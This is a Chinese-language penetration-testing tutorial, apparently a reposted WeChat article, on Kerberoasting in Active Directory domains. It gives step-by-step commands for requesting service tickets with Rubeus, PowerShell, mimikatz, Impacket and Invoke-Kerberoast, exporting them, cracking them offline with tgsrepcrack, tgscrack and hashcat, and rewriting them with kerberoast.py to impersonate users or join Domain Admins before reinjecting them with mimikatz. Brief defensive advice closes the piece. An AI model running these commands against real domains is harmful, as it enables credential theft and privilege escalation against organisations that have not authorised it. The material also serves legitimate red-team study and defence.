内网渗透(二) | 域渗透之Kerberoast攻击

  • A+
所属分类:安全文章


Kerberoast攻击

kerberoast攻击发生在kerberos协议的TGS_REP阶段,关于kerberos协议详情,传送门:内网渗透 | 域内认证之Kerberos协议详解


Kerberoast攻击过程:

1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证 ,该TGT认购权证用于以后的ST服务票据请求。


2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。


3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证 中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在 ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密, 并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。


4.攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。



SPN服务主体名称的发现

传送门:域渗透之SPN服务主体名称



请求服务票据

使用Rubeus请求


Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash。 以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式。

Rubeus.exe kerberoast


powershell命令请求


请求指定SPN的服务票据

#请求服务票据Add-Type -AssemblyName System.IdentityModelNew-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MySQL/win7.xie.com:3306/MySQL"#列出服务票据klist


mimikatz请求


请求指定SPN的服务票据

#请求服务票据kerberos::ask /target:MySQL/win7.xie.com:3306 #列出服务票据kerberos::list  #清除所有票据kerberos::purge


Impacket中的GetUserSPNS.py请求


该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。

./GetUserSPNs.py -request -dc-ip 192.168.10.131 xie.com/hack


导出服务票据

先查看票据


可以使用以下的命令

klistmimikatz.exe "kerberos::list"
MSF里面load kiwikerberos_ticket_listload kiwikiwi_cmd kerberos::list


mimikatz导出


mimikatz.exe "kerberos::list /export" "exit"

执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件


Empire下的Invoke-Kerberoast.ps1


导出Hashcat格式的票据

Import-Module .Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat


离线破解服务票据

kerberoast中的tgsrepcrack.py


python2 tgsrepcrack.py password.txt xx.kirbi


tgscrack



python2 extractServiceTicketParts.py 1-40a00000-hack@MySQL~win7.xie.com~3306~MySQL-XIE.COM.kirbi > hash.txtgo run tgscrack.go -hashfile hash.txt -wordlist password.txt


Hashcat


将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下

hashcat64.exe -m  13100  hash.txt  pass.txt


服务票据重写&RAM注入

ST票据使用服务密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。

python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

kerberos::ptt PENTESTLAB.kirbi


Kerberoast攻击防范

  • 确保服务账号密码为强密码(长度、随机性、定期修改)

  • 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验 tgsrepcrack.py来破解密码。

  • 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。

  • 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。

  • 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。











扫描下方二维码加入星球学习

加入后会邀请你进入内部微信群,内部微信群永久有效!


目前25000+人已关注加入我们

本文始发于微信公众号(Ms08067安全实验室):内网渗透(二) | 域渗透之Kerberoast攻击

发表评论